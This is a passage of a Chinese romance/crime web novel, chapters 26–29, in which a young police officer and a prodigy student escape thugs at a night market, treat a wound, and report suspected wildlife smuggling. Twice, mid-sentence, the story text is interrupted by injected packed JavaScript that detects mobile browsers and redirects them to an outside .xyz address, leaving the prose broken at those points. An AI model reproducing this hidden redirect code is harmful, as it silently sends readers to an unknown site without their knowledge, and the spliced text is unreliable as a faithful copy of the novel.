没来得及松口气,罗乐就瞥见其中一人往陶律夏的方向跑去。 “靠!”罗乐低骂一声,抄起旁边小吃车旁的小凳子朝那人砸了过去。 扔完凳子,他飞快地跑了几步,一把抓住陶律夏的手腕,吼道:“你傻站着干嘛,跑啊!” 26. 靠着我… 两人一路狂奔,穿过灯火阑珊的夜市边缘,拐进一条偏僻的小巷,跑了几百米,一道高墙横亘在前面,死胡同! 罗乐看了眼远处追来的那群人,果断抱住陶律夏的腰,一把将他托向墙顶:“你先上去,扶稳点!” 陶律夏的手掌险险抓住墙沿,他咬紧牙撑住身体,翻上去的那一刻,回头一看—— 五个男人已追到了巷口! 罗乐站在原地,手腕轻轻一抖,把袖子挽到小臂,朝对面扫了一眼,冷笑道:“一、二、三、四、五……又叫来俩儿送死的!” 他脚步一错,微微下沉重心,正打算硬刚的时候,陶律夏忽然抬手,把手机抛向远处。 “拿去吧!” 手机在空中划过一道抛物线,五个追兵的视线齐刷刷地跟着手机移动,脚快的那个已经朝落地的方向扑去。 趁着这个空档,罗乐一把抓住墙边的铁丝网,脚下一蹬,翻上墙顶。他一秒都没耽误,翻身跳下。 “律夏,跳!我接着你!”罗乐张开双臂,仰头看向陶律夏。 陶律夏没有犹豫,他稳住身形,双手撑着墙沿,轻巧一跃,落进了罗乐的怀里。 两人靠得极近,彼此的呼吸和体温纠缠在一起。 罗乐清楚地听见自己的心跳,一声一声,撞得胸腔都好像在震。停顿片刻,他回过神,松开怀抱,抓住陶律夏的手:“这地方不安全,我们快走。” 月光在略微湿润的石板路上投下片片银光,软绵绵的东南亚音乐在夜色中轻柔飘荡。 两人一路狂奔回到宾馆,确定没人跟上,才推开门,走了进去。 后背贴上沙发的那一刻,罗乐才真切感受到紊乱的心跳还没彻底恢复。不是因为打架——三五个街头混子对他来说顶多算热身。 “手机应该摔坏了吧?”罗乐清了清嗓子,试图压下内心的混乱,“别让那帮孙子拿到你的资料。” “扔之前格式化了。”陶律夏也跌坐在一旁。 罗乐微微抬眉,盯着陶律夏看了几秒,忍不住笑了:“你小子行啊!那种时候还能想起格式化。” “比起这个——” 陶律夏的话戛然而止,他的目光落在罗乐的手臂上,脸色倏地一变:“你受伤了!” 罗乐低头看了眼,袖子上已渗出血迹,他抬起手随意地甩了甩:“小伤,被铁丝刮的,处理一下就好。” 陶律夏二话不说起身:“我带了急救包,我去拿。” “诶,至于吗?不就……”罗乐话还没说完,门“咔哒”一声关上了。 房间里安静下来,他终于没再强撑,脸一垮,龇牙咧嘴地吸了口气,疼得不行,又一路忍着。 几分钟后,陶律夏拉着行李箱回来,径直走到罗乐面前:“你还有干净的衣服吗?” “干什么?”罗乐诧异地看着他。 陶律夏:“把衣服剪开。” “哈?”罗乐一瞬间有点慌,直觉告诉他事情不妙,“不用吧,我自己脱就行。” 他正要脱,却被陶律夏一把按住:“有没有?” 罗乐沉默了一瞬,认命地点头:“有……” 话音刚落,就见陶律夏拿起剪刀,“咔嚓”几下,直接把他的袖子剪开,露出手臂上的伤口。 两道血口子,一长一短,伤口周围微微肿胀,看起来有点吓人。 陶律夏坐在他旁边,一手扶着他的胳膊,一手拿起碘伏棉签,小心翼翼地擦起来。 棉签碰上伤口的瞬间,罗乐疼得倒吸了一口气,却不忘嘴硬:“小夏,你紧张什么?没见过血?” 陶律夏没理他的话,手上的动作又轻了一点,清理完创口,他翻出消毒棉和纱布,低头包扎起来。 罗乐半撑着身子看着,连动都不敢多动,他心里泛起一点不合时宜的甜,没忍住问道:“小夏,你手抖,是因为担心我吗?” 陶律夏眼神闪了闪,下一秒便毫不留情地收手,把纱布打了个结实的结。 “嘶——”罗乐被勒得倒抽一口凉气,龇牙咧嘴地倒在沙发上,“疼死了!你谋杀亲……哥啊!” 没人理他。 陶律夏收起急救包,站起身:“收拾东西,我们出门。” 罗乐还懵着:“去哪?” 陶律夏拿起罗乐的手机,手指在屏幕上快速滑动:“去城里,打破伤风疫苗。” “啊?现在?”罗乐一脸震惊地坐起。 “对,现在!”陶律夏头也没抬,开始帮罗乐收拾东西,“50分钟后有夜班车,我们10分钟后得出门。” “哎哎,你听我说——” “没什么好说的!”陶律夏看着他,语气坚定得像要去执行任务:“你必须尽快处理伤口,打破伤风疫苗。” 等坐进夜班车里,罗乐还有些恍惚,嘴角的笑怎么都压不住,像是刚从什么美梦里偷跑出来。 “你笑什么?”陶律夏偏过头,扫了罗乐一眼。 “没什么。”罗乐低头,“就是觉得……十八岁的生日,怎么过成这样了,我本来还想请你吃蛋糕呢。” “没关系,我不喜欢过生日。”陶律夏转头,朝他伸出手:“把你手机给我。” 罗乐递了过去,下一秒,就见陶律夏在搜索框里敲起关键词——「夜间急诊」、「槟州医院」、「破伤风免疫球蛋白」…… 陶律夏点开页面,筛选信息,一个个打电话确认,再用笔工工整整地誊抄在便签本上。 罗乐撑着下巴看他,想起#陶神超话#里的神迹之一:宛如印刷体的笔记。 又见到了,还是为了我…… 罗乐心里暖得发烫,却又忍不住嘴硬:“你能不能别这么紧张?都查半个小时了,就这么点小伤,哥又不是要死了。” 陶律夏的手指顿住,目光冷冷地落在罗乐脸上:“你有没有常识?你被铁丝划了那么深的两道口子!” “我又不是第一次受伤。”罗乐试图安慰,“你放心吧,我挺得住。” 谁知这句话一出口,「静电球」的脸色更冷了,“那墙头的铁丝都生锈了,很容易携带破伤风梭菌,不及时处理会感染的!你不知道吗!” 罗乐愣了一下,赶忙改口:“24小时内打上不就行了,你别这么着急……” “我怎么不着急?这趟夜车要6个小时才能到槟州,万一当地医院没有破伤风免疫球蛋白怎么办?那我们就得转去临市!明天最早的飞机是下午3点,你得把各种情况和意外都考虑到,好吗!?” 陶律夏一口气说完,便不再理会罗乐,又开始一丝不苟地打电话。那架势不像是要去打疫苗,倒像是在安排什么了不得的紧急救援。 罗乐没敢再接话,在余光中偷偷瞄了一眼,明明受伤和疼得要命的都是自己,还得宽慰他?还得挨顿说!可这种感觉怎么这么好呢……那冷冷的眼神,半点不刺人,反而温热得过分。 夜班车里传来此起彼伏的呼噜声,偶尔还有小孩子含糊的哭腔。 经历完惊心动魄的一夜,罗乐头脑昏沉地靠向椅背,刚刚眯起眼,身上就被丢了一件外套。他抿了抿嘴,拉起外套盖在身上,在磕磕绊绊的震动中沉沉地睡了过去。 月光透过湿气弥漫的玻璃,氤氲成一团团朦胧的光影。陶律夏没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939315|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有丝毫睡意,他的目光跟着夜色延伸,直到城市的街灯一盏盏划过。 坐了六个小时车,终于到槟州了…… 到了医院,挂号、登记、取号,全是陶律夏一手包办。他还特意和医护补充:“用碘伏清创患者觉得很痛,请尽量给他用温和型消毒液。” 而罗乐,抱着受伤的胳膊,像个丧失语言能力的病号,任由其指挥调度。那点他反复强调的一点「小伤」,最终还是被医生摁着缝了整整十八针。 针线穿皮时,罗乐心里不停打鼓,自己嘴硬逞强,还把人折腾一宿,一会肯定少不了一顿暴击: ——不是说没事嘛,为什么缝了针? ——外伤处理的原则是什么?你觉得自己符合哪一条?不好意思,不符合任何一条。 ——你这是轻敌心理的典型案例,自救意识和风险评估能力全线不及格! 等一切处理完,已经是清晨六点,走廊亮着冷白色的灯。罗乐一点点挪向门口,想到一会要面对的“批评场面”,心跳不由快了几分。 陶律夏坐在走廊的长椅上,膝盖上放着装药的塑料袋。 “小夏!”罗乐抬高声音,冲着他晃了晃胳膊。 陶律夏站起身,抬眼看着他,唇角微扬,轻轻地笑了。可能是一夜未眠,理智的外壳被疲惫削去,整个人显得安静柔和。 准备好的狡辩之辞全都没了用武之地,只剩一团团轻柔却滚烫的喜悦在罗乐心口震荡。 坐进出租车里,陶律夏绷了一晚上的神经才终于松懈下来。 随着车身的轻晃,困意像潮水般涌了上来。车子过了一个弯,他整个人顺着惯性往窗户那边歪去,额头眼看就要撞上玻璃—— 罗乐伸出手,掌心托住他的额角,稍微一带,把脑袋轻轻掰了回来。 “靠着我……”他轻声说。 陶律夏似乎没有听见,只是顺着那只掌心的引导,靠进了罗乐的怀里,沉沉地睡着了。 罗乐单手拽出一件外套,盖在他身上,男孩的头发蹭着他的下巴,带着熟悉的香气——青柠罗勒与柑橘味。 怎么这么多事儿啊,出门还要自带沐浴液。 还要带着急救包…… 外套口袋里掉出一角便签纸,他拿出来一看,上面工工整整地记着入住酒店的信息、服药注意事项、数码店的地址…… 罗乐不自觉地笑了,小小年纪,怎么这么周到呢?他把便签纸重新塞回口袋,顺手把滑落的衣角往肩头拢了拢。 天色渐亮,雾气还未散去,几缕晨光穿过云海。 罗乐微微侧目,看着车窗外浮动的街景,忽然开口:“师傅,绕着城转一圈再去酒店,我想看日出。” “还有——”他顿了顿,轻声道,“开慢一点。” 司机没想到早晨刚出车就遇上这等好事,忙不迭地应了一声“好”,又忍不住在后视镜里瞄了一眼后排的「土大款」,竟是难得的年轻俊俏。 曙光如轻纱般洒进车窗,在陶律夏脸上落下细碎的金光,他像是感受到了,眉心轻轻一动,脑袋往罗乐胸口拱了拱。 罗乐微微一僵,随即轻手轻脚地调整了姿势,换了个更稳、更贴合的角度,把人抱紧了些。低头望着怀里那颗软软的小脑袋,他心口一阵发烫,完了,如果“可爱”有等级,那他撞上了满级选手。 车辆驶过跨江大桥,晨雾未散,江面闪着碎光。远处一艘早班渡轮滑过,在水面留下几道白浪。 罗乐一动不动地抱着怀里的人,好久没有像现在这样,什么也不想地坐着,好像捡到一段不属于现实的美妙时光,你要等着它慢慢流淌…… 27. 野生BOSS 出租车缓缓停在酒店门口。 陶律夏迷迷糊糊地睁开眼,走进大堂,找了个沙发坐下,等着罗乐在前台办入住。 他把手插进外套兜里,指尖忽然触到一张微微卷起的纸片,拿出来一看是张出租车票——单据上印着清晰的数字138元,出票时间,5分钟前。 这一夜的辗转奔波,时间感早就模糊了,可在看到这个数字的瞬间,他还是微微一顿。 这一路,似乎……走得有点久。 “走了。”罗乐拿着房卡朝他晃了晃。 陶律夏背着包跟了上去,语气随意地问道:“来酒店的车费花了多少钱?” “没注意……”罗乐按了一下电梯按钮,随口敷衍道。 “你现在可以注意一下。”陶律夏抬手把车票举到他眼前。 罗乐心里咯噔一下,脸上的表情差点没挂住,他叫人起来时,居然顺手接过小票,塞进了…….那件外套兜里! 陶律夏不动声色地看着他:“从医院到酒店不到十公里,为什么会花138元?” “可能夜间加成比较贵?”罗乐语气发虚,眼神开始乱飘。 “夜间加成不会让价格翻六到八倍,早晨六点也不会堵车。”陶律夏看着罗乐,一副要把事情盘清楚的架势。 电梯里弥漫着木质香氛的味道,罗乐盯着缓缓跳动的楼层数字,大脑一片空白…… ——他不会发现,我故意让司机绕路吧? ——他不会以为,我趁他睡着了搞暧昧吧? ——他不会觉得,我是个变态吧?! 那个温热的、香香的小脑袋,会不会再也不靠过来了!!!这138元的车费,到底要怎么圆回来! “只有一种可能——”陶律夏盯着他。 完了…… 罗乐屏住了呼吸,从天堂跌入地狱的感觉不过如此…… “那就是你在车上睡着了!被司机饶了路!”陶律夏斩钉截铁地总结。 哈??? 罗乐刚刚在脑子里把自己审了个遍,从居心叵测到人格扭曲,结果这一切的最终判词是:“你太能睡”? 陶律夏瞪着罗乐:“把手机给我!”罗乐乖乖递上,看着他熟练地点开地图,一边滑动一边分析—— “我们上车的地方在城中,司机恐怕要开车驶过跨江大桥,开到城南再沿着外环从西侧兜回城北,才能把车费烧到100元以上。” 有些事情就是这样,你看见了结果,猜对了过程,却想不到真正的原因。 罗乐乱飞的三魂七魄瞬间归位,连绷紧的后背都不自觉地离开了电梯内壁。楼层到了,他迈着轻盈的步伐走了出去,假装懊恼道:“居然被宰了……” “被宰了?”陶律夏快步跟上,不可思议地看着罗乐:“天还没亮,在边境城市坐出租车,你就这么安心地睡着了?” “我们前一晚还被人穷追不舍,你今天被人绕路绕到了外环!罗警官,你的警觉性呢?你的安全意识呢?你是怎么熬到警校毕业的!” “怎么了?我困了还不行?我还受伤了呢!”罗乐抬了抬胳膊。 陶律夏看着他那副“有什么大不了”的无辜表情,觉得……有点离谱。 正常人发现在车上睡着被绕了半个城,第一反应多少都会有些后怕吧?这家伙倒好,毫不自省,悠然自得,甚至还……还撒起娇了? 陶律夏本想再强调一次事态的严重性,可话到嘴边,却又收了回去。 自己又能多靠谱呢?昨天一路奔逃、坐车、上医院,折腾了十多个小时,最后他也睡得死沉,毫无警觉。 这种状态下,谁还能一直紧绷着?他有什么资格指责别人? 想到这里,陶律夏松开了攥着行李箱杆子的手,朝罗乐伸出掌心:“把你手机再给我下,我要打12328投诉,赤裸裸地绕路,这是难以忍受的欺诈行为!” “这事交给我来办吧,小夏。”罗乐一把夺过陶律夏手里的小票,神情无比坚定,“让我亲手把这个黑车司机绳之以法!” 陶律夏看着他这架势,略感欣慰地点点头,又问:“一会有事吗?中午两点钟,你能陪我去买手机吗?” “没问题!”罗乐点头,“你先睡一觉,我提前十五分钟给你屋打电话。” * 数码广场里人声嘈杂,陶律夏径直走到柜台,同导购说:“帮我拿一台iPhone11,谢谢。” “……” 进门不到三分钟,已经付款下单?!罗乐目瞪口呆。还没等他缓过神,就看到陶律夏动作利落地拆开包装盒,拿出手机,又从兜里掏出一张电话卡,塞进了卡槽。 “你也太全面了吧?出门还带着备用电话卡?”罗乐的表情宛如见了鬼。 “不是备用。”陶律夏头也没抬,“就是原来那张,我提前拆出来了。” “提前?!”罗乐眼皮一跳,声音都高了半度,“什么时候?” “你和流氓打架的时候。” 轰!脑子里像炸开一声闷雷,罗乐深吸了一口气,问道:“我挨打的时候,你不赶紧跑,在那儿拆手机呢?” 陶律夏抬头看了他一眼:“你挨打?明明是你在打别人好吗?” 一股怒火直冲天灵盖,罗乐忍不住吼道:“你特么是在战场上做后勤吗?!那个时候,你还掏那破电话卡干嘛?!” “要不然呢?”陶律夏一脸理所当然,“我不确定卡里有没有储存什么信息,总不能让他们拿走吧。” “你就不怕人一刀劈过来?!”罗乐嗓音直线上扬,差点破音。 “你被人围攻时,大概给我留下七到十秒的操作窗口。” “……”罗乐感觉自己下一秒就得原地爆炸,“你怎么弄出来的?手掰的?!” “在隔壁摊子上拿了个耳钉。”陶律夏随口回。 “什么?!”罗乐瞪大了眼睛,“你还偷东西?!” “借的!”陶律夏立刻纠正,“本来是打算放回去的,是你突然冲过来把我拉走了。” 罗乐难以置信地盯着陶律夏,这到底是个什么人?披着校服壳的疯批? “你、你居然偷东西?!” “你砸人家摊子!”陶律夏扬着脸,气势丝毫不弱。 “那是意外!”罗乐怒吼,“自己掉下来的!” “火龙果自己掉到了歹徒脸上,还烂了。”陶律夏目光清澈,冷静复盘。 好家伙!那种时候还能把这些细节记得清清楚楚……罗乐被呛得一句话都说不出来,只剩「我到底带出来个什么神仙?不,什么妖孽啊?!」在脑内嚎叫。 “你有时间掏电话卡,怎么没时间报警救救我?!”沉默良久,罗乐终于在舌战中逮到了反击机会,重新占领了高地。 陶律夏看着他,声音温和却字字扎心:“那种情况,我能报警吗?你把人打成那样,我报警,你当场就能进看守所。” 疯批不但胆大,还懂法…… 罗乐脑海中浮现出昨晚歹徒被锤飞的画面,竟无语凝噎。 确实,他的所作所为很可能被定 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“好什么?”罗乐皱起眉,拦下一辆出租车,“推后一天就赶不上三号的航班了。” “改签呗。”陶律夏回得轻描淡写。 罗乐坐进后座,侧过头打量着那张「镇定脸」,改签呗?说得好像和等下班地铁一样简单。 连夜回槟州,安排得滴水不漏,恨不得连天气变化都给自己留有余地。有主意、有章法,每一步都要踩在自己的节奏上,听见计划被打乱了,陶神难道不应该皱个眉吗?怎么还一副“正合我意”的样子。 罗乐正想问一句“你又在打什么算盘”时,陶律夏就开口了—— “打完疫苗,24小时内最好不要喝酒。我刚才还在想,一会怎么告诉冯警官,你不能喝酒。” 罗乐怔了一下:“你是……怕我喝酒?” “万一你有什么事,又得我帮你找急诊。”陶律夏划着手机,像在陈述一个概率事件。 五月的槟州,午间温度已经飙到三十多度。车里的空调开得很足,冷风带着车载香水的味道,在狭小空间里缓慢流动。 本该觉得凉快,可罗乐的后颈却莫名其妙的热。 又得我—— 这三个字,没情绪、没起伏,连眼神接触都省了,仿佛只是顺嘴说出的一个假设。 但,要是稍微自作多情一点,就能听出其中的余味。他已经把「照顾你」写进自己的待办事项,甚至还分配了一个角色——临时的“患者家属”。 罗乐的血压刚平稳不过一刻,心率又开始失控式飙升。他也说不清现在的感觉——心跳很快,嘴巴很干,脑子里全是“你到底是什么意思?”可又不敢真的去问。 活了二十多年,第一次被人搞到这种程度…… “打疫苗不能喝酒?你在哪儿看的?我只听过吃头孢不能配酒。”罗乐终于依靠残存的知识碎片,挤出一句话。 陶律夏抬起头:“打疫苗后饮酒会影响免疫反应,尤其是破伤风疫苗这种有佐剂的,酒精可能会干扰抗体生成。” “而且你今天缝了针,局部组织正处在炎症反应期,酒精摄入也可能加重刺激。”出租车停在酒店门口,陶律夏步伐从容地下了车。 “你懂得可真多……”罗乐关上车门。 “生活常识。”陶律夏看了他一眼,“我刚刚一直在看手机传到云端的视频,发现有些地方不太对劲。” “你要是不着急休息的话,要不要一起看看?” 28. 危险分子 周隽仰躺在上铺,盯着斑驳的天花板。 这是一间不足十平米的狭小宿舍,潮湿的墙壁上浮着一圈圈灰黑色的霉斑。三张上下铺挤在一起,漆面剥落的长条桌靠在墙边,旁边立着一个铁皮柜,门铰松动,半开半合。 “砰”地一声,宿舍门被推开。 一个留着寸头的男人提着外卖盒大摇大摆走了进来,一屁股坐到周隽下铺。 这个人是隔壁屋的,前两天因为天花板漏水,床铺泡了一片,暂时搬来借住。至于周隽下铺原本的那位,已经消失半个月了。 有人说消失那人是蛇头老板的亲戚,被调去别处管人了。周隽对这些人际关系没什么兴趣,但这话听一耳朵就觉得假,老板的亲戚能来干这活儿? 寸头男揭开外卖盒的盖子,一股浓烈的酸粉味就弥漫开来。 “靠!你是嫌这屋的味道不够酸爽吗?”住在周隽对铺的男子一跃而起,他和周隽一个班组,叫韩波,身材精瘦,总是穿着件螺纹背心。 “这粉48块一碗,让你们也闻闻味儿。”寸头男慢条斯理地挑起粉条。 “早知道这破地方物价这么高,我干脆过来开个粉店,煮粉码料我熟着呢,以前就干过。”他吸溜了一口,像是故意气人。 韩波冷笑一声,呛道:“你以前不是拉水泥的吗?” 寸头男的来历扑朔迷离,从挪用公款的会计到工地里拉水泥的工头,过往在他嘴里一次一个样。一会儿说自己有两个孩子,一会儿又说是单身,只有一个信息一直稳定:他死不承认自己年过四十。 “拉水泥也比干这儿强。”寸头男嘬了两口酸粉,语气懒散地说道。 “都偷渡过来了,还想着你的水泥工?”韩波从床上坐起来,阴阳怪气道。 “能和你比嘛,你是‘高端人才’,用英文聊天骗老外的钱。”寸头男冷笑。 “有那帮工程师高端吗?”韩波把脚搭到床栏杆上,靠着墙翻白眼:“骗钱的狗屁平台,一个假界面天天改,听说没,那帮工程师又要‘搞创新’了。” “没听说,只听说下个月管理费又要涨,还要搞什么‘文化墙’。”寸头男搁下筷子,语气不耐:“就这鬼地方,还搞什么企业文化,评估考核!” 听到这里,周隽终于忍不住了:“考核完不成怎么办?” 寸头男像听了个天大的笑话,嗤笑一声:“你是真不知道,还是装糊涂?完不成能怎么样,当然是挨打啊!” “留在这儿挨打,还不如想办法逃出去。”周隽像是随口一提。 屋里突然陷入诡异的寂静。 过了好一会,韩波慢吞吞地爬下床,赤脚踩在地板上,扯下晾得半干的毛巾,搭在肩上,声音低了几分:“小周,别做梦了。” “这地方,武装看守、铁丝电网、巡逻狗队……你以为那些人是吃素的?”韩波说着从床底下掏出一个水盆,“再说,你跑出去能干嘛?回去还得蹲监狱。” “你现在就该想想,怎么把业绩搞上去,不然能有什么好下场?”说完,他端着水盆走到门口,脚尖轻轻一挑,“啪”的一声,门关上了。 * “咔哒”一声,门在背后合上。 陶律夏走到桌边,把矿泉水倒进热水壶里,按下开关,转身把那台刚买的手机递到罗乐面前:“你看这个。” 罗乐接过手机扫了一眼:“这不是你拍的蒸包子的视频?怎么,想吃豆沙玫瑰馅的包子?” “1分42秒。”陶律夏说。 罗乐把进度条拖到位置,看了看说:“你是想说这个裤腿?” “罗警官果然敏锐。”陶律夏嘴角微微一勾,从水吧上拿出杯子。 罗乐斜了他一眼,撇嘴道:“少年,这还用敏锐?除了包子,也就那裤腿能认。” “裤腿的主人,就是火龙果受害者。” “啥?”罗乐抬起头。 “被你用火龙果砸中的那个歹徒,”陶律夏笑了笑,把杯子放在水壶边,“他的鞋子是橙色框架的AJ1。” 罗乐:“……” 谁特么会在斗殴现场认鞋?比货网的AI识图终端?罗乐感觉自己的精气神已经被小崽子折磨到濒临崩溃。 他重重地往椅背上一靠,嗓音沙哑:“地痞流氓穿什么鞋重要吗?有这鉴赏的功夫,您能赶紧跑吗?” 陶律夏没接话,他微微垂下眼,掏出一个收纳袋,变魔术似的,在罗乐面前一字排开—— “桂花乌龙润喉、英式红茶提神、薰衣草薄荷助眠、洋甘菊柠檬舒缓情绪,还有莓果红茶,稍微有些酸。“ 他不紧不慢地介绍完,才抬眼看向罗乐:“你嗓子有些哑,喝点热的缓一缓。选一个吧。” 这是整上茶疗了?老子命都快被你气没了,你倒上起菜单了? “怎么没有降火的菊花茶?”罗乐阴阳道。 “噗……”陶律夏没忍住,笑出了声,“我猜你可能对这件事有怨气。”他眼尾微挑,语气温温的,“所以没有。” 好呀,当初果然是嘲讽他来着!罗乐刚要张嘴怼回去,陶律夏又补了一句——“如果你本人没异议,下次可以为你特别定制。” 「为你特别定制」这几个字被那有些讨好的口气碾成了糖粉,轻飘飘地洒进罗乐心里。 本来还挺横的罗警官,此刻只能强撑着维持住“你少来这套”的表情管理,哼了一声:“我谢谢你!” “那就……洋甘菊柠檬吧。”他抬手点了点,一副我就将就一下的架势。 “嗯。”陶律夏应了一声。 热水落入杯中,带起淡淡的草本与柠檬香气,温温地裹住嗅觉。 罗乐忽然想起那个雨夜,在陶律夏家的客厅,他也是这么款款的站着,拆包、倒水、泡茶,不慌不忙。 他忽然就后悔了,该点个提神的、浓烈的东西,他应该试探一下,看看这个小鬼,有没有在宾馆的小冰箱偷偷放满了酒。 “那几个歹徒非要说我拍到了什么,有没有可能,我真的拍到了什么?”陶律夏把茶放在罗乐手边的茶几上,在他身边坐下。 罗乐收起乱飘的思绪,把视频暂停在其中一帧,点了点左下角:“你看这儿,橙色AJ1脚边的那个木箱。” 陶律夏凑近了一点,画面上能看到半截箱体,体积不大,边角钉了封钉,侧面还有几个规则的小孔。 “木质结构,有通风孔。”罗乐已经切入工作状态,“这不像普通的货箱,再结合边境、集市、一群鬼鬼祟祟的男人,我怀疑这可能是活体运输箱。” 陶律夏眼神一凝:“活体运输?你的意思是……他们在贩运活物?” “野生动物。”罗乐点点头,“穿山甲、绿鬣蜥、金丝猴,这几年被人偷卖偷运的不少,做宠物、药材,甚至是……下锅。” “他们为什么要在集市上做交易?这不合逻辑。”陶律夏疑问道。 “你看多了侦探小说,是不是觉得坏人都该智商在线、滴水不漏?”罗乐放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939317|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下杯子,“我不是说你问的不对。” “不过现实中,很多案子难破,不是因为对方多高明。”罗乐顿了一下,语气缓下来,“大部分是因为证据被毁了、天气不好、监控坏了,或者一些其他因素。” “真正完美的犯罪并不多见,坏人要是都能做到滴水不漏,我们警察不得累死?”罗乐笑了笑。 “那个集市,人杂、混乱,拉个麻袋都不显眼,而且也没监控,出入口还多,交易运输其实都方便。” 陶律夏盯着杯中的茶汤,点点头:“有道理。” 罗乐嘴角微扬,半认真半打趣道:“你这算是在认同我吗?” “嗯……”陶律夏把杯子放在茶托上,“不过主要是对有效信息表达的认同。” 罗乐:“……” 陶律夏:“那我们现在该怎么办?报警?” “嗯。”罗乐点点头。 “可是只有这么点儿信息,报警有意义吗?”陶律夏问。 “有。”罗乐放下手里的茶杯,“线索就是线索,不管大不大。万一能串上别的案子呢?万一正好也是警察在查的呢?” “好,那我来汇总资料。”陶律夏果断应道,“包子铺的摊位号是A65,那些人当时在那对面晃荡。除了这个视频,我还拍到他们五个人在巷口的合影,全是正面,特征可辨。” “???” 罗乐猛地转过头看着他:“你手机不是格式化了吗?” 陶律夏说:“哦,我带了GoPro运动相机。” “……” 罗乐整个人都僵住了,担心、气愤、还有一阵后知后觉的凉意,从脊背一路蔓延到后颈。 三个人,一把刀。 那种街头斗殴,谁知道下一秒会不会彻底失控。这臭小子哪里来的胆子站那儿一动不动? 一套拆卡骚操作搞得人心肝直颤,现在才知道,还有墙头拍照的后手!第一时间把你推上去,是为了让你拿着GoPro找角度拍照吗? 那个从墙头砸下去的手机……会不会连投掷时机和飞行轨迹都规划好了?计划得这么周密,为什么就想不到最重要的事是自己的安全。 不知天高地厚的小东西,自以为是的危险分子本人!到底有没有一点点安全意识?必须得好好训他一顿,让他知道什么叫风险,什么叫边界,什么叫——作死! 罗乐几乎已经在脑子里拟好了一整套训词,就在张嘴的当口,一声细碎的铃声,从身侧响起。 他下意识转头,只见陶律夏从书包侧兜里抽出笔记本电脑,刚刚那声细响来自书包上的挂坠,一个猫爪形的小铃铛。 铃铛轻轻一晃,又是叮当一声,是昨天晚上自己在街边打气球赢的奖品…… 罗乐胸腔里那团还没吼出口的怒火,像被什么软绵绵的东西拢了一下,揉成了一团,最终“砰”的一声响,炸成了明亮又没出息的烟花。 一瞬间,他甚至生出一点荒唐的自豪感…… 那可是陶神啊!理科全能、竞赛大佬、冷感天菜的天花板,洗澡都抢得先手的男人……他在那么多人关注的书包上面,挂着你送的,花十块钱打气球赢来的小铃铛。 明明刚刚还想好好训他一顿,结果一个小铃铛晃了两下,他现在只想伸出手,揉一揉那颗把他气得够呛的小脑袋。 罗乐无声地叹了口气,起身走到水吧,往茶杯里添满水,靠在沙发上思考起人生。 这小祖宗到底是谁派来修炼他的呢? 29. 咖啡红线 罗乐瞄了一眼沙发那边。 陶律夏坐得笔直,手指飞快地在键盘上敲打,神情专注得像是在写什么国家级项目申报书。 一个中学生,按理说,这个时间点应该在家写卷子、做模拟题,数着高考倒计时。 “小夏……”罗乐低声唤了一句。 “嗯?”陶律夏的眼睛没离开屏幕,手还在飞速敲字。 “你一直都没告诉过我呢,你成绩怎么样?马上要高考了,你想报哪儿?” “京北大学吧,我应该可以保送。”陶律夏语气淡定,“名单五月中旬会公示。” 还“应该可以”,够严谨…… 又被他轻描淡写地秀了一脸,早就知道他不简单,可还是一次次的刷新认知。 此时本该升起「马里亚纳海沟级别」的心理距离感,提醒自己别多想、别代入、别自不量力…… 可罗乐心里却抑制不住地冒出一连串复杂又真诚的感慨:逻辑、知识、判断力……一个人怎么能这么清醒、聪明、又带点拽? 还能再会一点吗?怎么这么牛呢?!简直是犯规!罗乐大脑深处响起了系统警报—— 自豪感飙升+心跳超速+想rua人冲动,系统建议远离对象至少五米,以防恋爱脑暴走。 罗乐:不听。 他端着杯子走到陶律夏身边,嘴上还强撑着不服输:“小夏,你和我说,你是不是下凡来散心的?” 陶律夏没接他的玩笑,指了指屏幕:“我弄好了,你看一眼。” 罗乐低头一看,排版干净利落,内容井井有条,素材目录命名清晰。短短十几分钟,他居然把零散的内容整理成了完整、可提交的线索链。 这效率、这细节、这干活认真的劲头,罗乐都想把这家伙拐去警队给自己做助理,如果他能别再把人吓得心肝乱颤的话…… “不错。”罗乐扫完最后一张,把笔记本电脑递还给陶律夏。 考虑到这是个墙头砸手机、路边借耳钉的「危险分子」,他能从嘴里挤出“不错”两个字,已经是破格的高度肯定。 两人拨打110简要说明情况,十几分钟后,属地派出所的两名民警便赶到了宾馆大厅。 简单沟通、交接资料、确认录像和拍摄内容后,对方留下联系方式,表示会和相关部门协调跟进。 目送警车驶离,罗乐拍了拍手,长出了一口气:“交出去了,能不能发挥价值就看他们了,我们能做的,也就这些。” “嗯,”陶律夏轻声一笑,语气轻快,“支线任务结案。” “你还真当自己是扮演游戏主角?”罗乐笑出了声,“你是不是还想捡个宝箱、顺便升级?” 陶律夏:“已经升级了啊,你那招「火龙果爆头」,技能点+10。” “得了吧,哪比得上你。”罗乐撇撇嘴,轻嗤一声,“「空投制敌」成功阻止我和五个人正面对线,算起来,起码+50。” 说完这句,两人目光短暂交汇,某种微妙的共识在视线相接的一瞬间悄然接上了频率。 大堂的旋转门缓缓转动,午后的阳光铺在光亮的地砖上。 陶律夏缓缓移开视线,转过头看向街道:“嗯,阳光能刺激5-羟色胺分泌,低强度步行能够促进多巴胺释放,理论上——” “你能不能像个正常中学生一样,直接说我想出去遛弯?”罗乐没等他说完,长腿一迈,先一步走出大门。 